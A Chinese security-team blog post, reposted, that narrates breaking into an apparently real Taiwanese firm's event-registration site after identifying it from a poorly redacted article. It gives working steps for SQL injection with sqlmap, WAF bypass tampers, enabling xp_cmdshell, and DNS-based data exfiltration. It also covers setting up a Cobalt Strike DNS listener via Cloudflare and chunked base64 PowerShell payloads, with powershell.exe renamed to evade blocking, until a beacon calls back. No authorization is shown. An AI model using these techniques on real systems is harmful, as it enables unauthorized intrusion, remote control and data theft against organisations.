暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

记某次文章打码不严导致的利用CS进行DNS协议上线

横戈安全团队 2021-02-02
1006

在某个社区看到这样一篇文章,然后开始勒。

其中泄露目标的点主要有以上几个:

 

目标Logo泄露


台湾 xxx 事务所



从而得到了目标信息。这码打的有点严重,不过就是结合了上图事务所的搜索结果然后再次进行搜索,然后才发现了这个系统,这里就学习一个思路就好了呢

其中活动报名系统吸引勒注意。



其中 edituser.aspx 让我联想到了编辑用户,难道存在未授权访问?


通过点击修改,抓取数据包


随及打开sqlmap 一把梭

然后事情远远不止那样简单



有WAF拦截勒注入测试语句。


随即我们将sqlmap流量转发到Burp进行数据包的分析


--proxy=”http://127.0.0.1:8080”


看那个一个数据包没有返回包


然后随机选择一个空返回包,Ctrl+R进行分析。


首先排除2个原因:

1. 目标网络出现问题,导致无返回包

2. WAF拦截数据包敏感数据,导致无返回包



经过测试如下:


无返回包

Payload【1】:111%29%20AND%202479%3D2479%20AND%20%289352%3D9352


返回正常

Payload【2】:111)+AND+2479%3d2479+AND+(9352%3d9352%26progid%3d


可判断出,WAF拦截语句中会自动将URL编码进行解码然后进行敏感词分析,而当我们将%20替换为+号进行衔接则数据正常返回。针对于此种情况我们可以使用SQLMAP自带的Tamper进行绕过。

space2comment

空格替换为/**/


于是乎加上 --tamper=space2comment 进行绕过


数据正常返回,未出现空白现象。


持堆叠注入,时间盲注,报错注入,既然支持堆叠注入,那么我们查看是否DBA权限。


True 代表其为 高权限管理员



然后 --os-shell 进行开启XP_CMDSHELL组件进行命令执行

经过 whoami 测试,可正常返回结果,并且为管理员权限。


通过尝试:HTTPS、HTTP、TCP/IP均不出网

然后通过ping DNSLOG可以出网。


通过系统变量携带数据出网。


证明可以执行命令。

 

https://www.cloudflare.com/

狗爹购买一个域名:xxxx.com

 

打开:cloudflare .com 点击添加站点



添加进入你在狗爹购买的域名

将狗爹中所购买的域名,域名服务器修改为 cloudflare 给你的DNS服务器地址



做好了以后呢,等待cloudflare 检查,当变为有效的时候,我们继续设置三个解析记录:


点击域名,进入管理,找到DNS栏目


A 解析记录
NS1 解析记录

NS2 解析记录

 

比如你的域名为:xxxx.com

 

添加一个A记录为:CS


IP地址为你CSIP地址。

然后在添加2NS记录,NS的值为你刚才的 cs.xxxx.com


然后我们回到 CS中进行调整。


按照刚才的NS1 NS2依次填写进去。端口默认不填写

然后开启监听模式。

然后开始生成一个CS木马





当只需要执行Payload中的代码在目标机器中,那么对方就会上线


但是我们这里是GET注入,无法转换为POST类型,并且站库分离模式,我们无法写入SHELL,并且也无法执行Powershell的命令,因为powershell的命令过长,导致IIS默认直接显示404状态。


CMD中都无法全部输入完毕,我们将其注入点执行命令的SQL语句进行抓包,通过BURP来发送命令语句。

1';
DECLARE/**/@vmia/**/VARCHAR(8000); #建立一个叫做vmia的VARCHAR变量
SET/**/@vmia='whoami'; #设置变量的参数值
INSERT/**/INTO/**/sqlmapoutput(data)/**/EXEC/**/master..xp_cmdshell/**/@vmia-- #利用XP_CMDSHELL 执行变量的内容,然后将其内容写入到sqlmapoutput表中的data字段之中。


在设置变量内容的时候通常有两种方式进行设置:

1. 默认采用HEX对命令进行编码,如果使用是hex编码,那么不需要再值得前后加单引号

SET/**/@vmia=0x77686F616D69


Whoami = 0x77686F616D69


1. 直接明文命令形式

SET/**/@vmia=’whoami


我们注意其中得空格,在GET中得时候我们必须将其进行+号连接,不能直接空格,否则就会导致400错误。

 

POST中的时候我们可以不需要对命令之中的空格进行编码,直接以空格形式存在即可。但是在有的情况必须要编码,所以我们可以采取ping -n 5 127.0.0.1 形式来检验命令是否可以执行,如果可以执行,那么我们的服务端回延迟5s返回,因为ping 127.0.0.1 ping一次为1sping 5 5s



延迟的时间差不多,在4s左右即可。

由于无法执行较长的命令,于是我采取勒以下措施来解决该问题。


第一步

将我们的powershell命令中base64编码部分进行分段echo进入到目标服务器的txt中。

类似于:echo 123>C:\windows\temp\ALL.TXT

我将其分为 4段,然后依次echotemp目录下面的txt中。


第二步

然后利用Powershell代码:

 $Getxt = Get-Content("C:\Windows\Temp\o.txt").split("`n");$output = $Getxt[0] + $Getxt[1] + $Getxt[2] + $Getxt[3];Write-Output $output > "C:\Windows\Temp\all.txt" 

读取all.txt中的内容,然后通过split进行换行符分割,将其分割4个部分,然后再将其4个部分以数组形式进行提出,接着组合 0 - 3的内容到新的all.txt

 

我们将其这段代码进行BASE64编码,然后再利用powershell-ENC进行解码执行。


第三步

为了校验我们写得文件内容是否存在,并且是否指定的大小,我们采用下方进行校验:

 $a=(Get-ChildItem -Path C:\Windows\Temp\o.txt).Length;


ping aa.$a.dnsLOG地址;


通过直接提取写入的txt内容大小,将其拼接到ping命令上



最终得到数据确实大小与本地的数据是对应。

然后我们开始读取,执行

 $a=Get-Content -Path "C:\Windows\Temp\66.txt";
copy "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "C:\Windows\Temp\123.exe"
C:\Windows\Temp\123.exe -enc $a;



其中因为我们直接调用powershell去执行恶意的木马,导致其服务器中的WAF对其进行拦截,


可以看到,powershell被禁止调用,于是我们要通过copy

copy "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "C:\Windows\Temp\123.exe"

123.exe,然后再利用123.exe去执行 -enc $a 的内容,$a的内容为 Get-content 模块读取的指定txt内容,该内容也就是我们上述数组拼接后的内容。


执行完毕后,机器正常通过DNS协议上线,然后我们执行:checkin 命令让dns beacon 强制回连,并且输入命令mode dns-txt使其传输的数据能增加。

文章转载自横戈安全团队,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论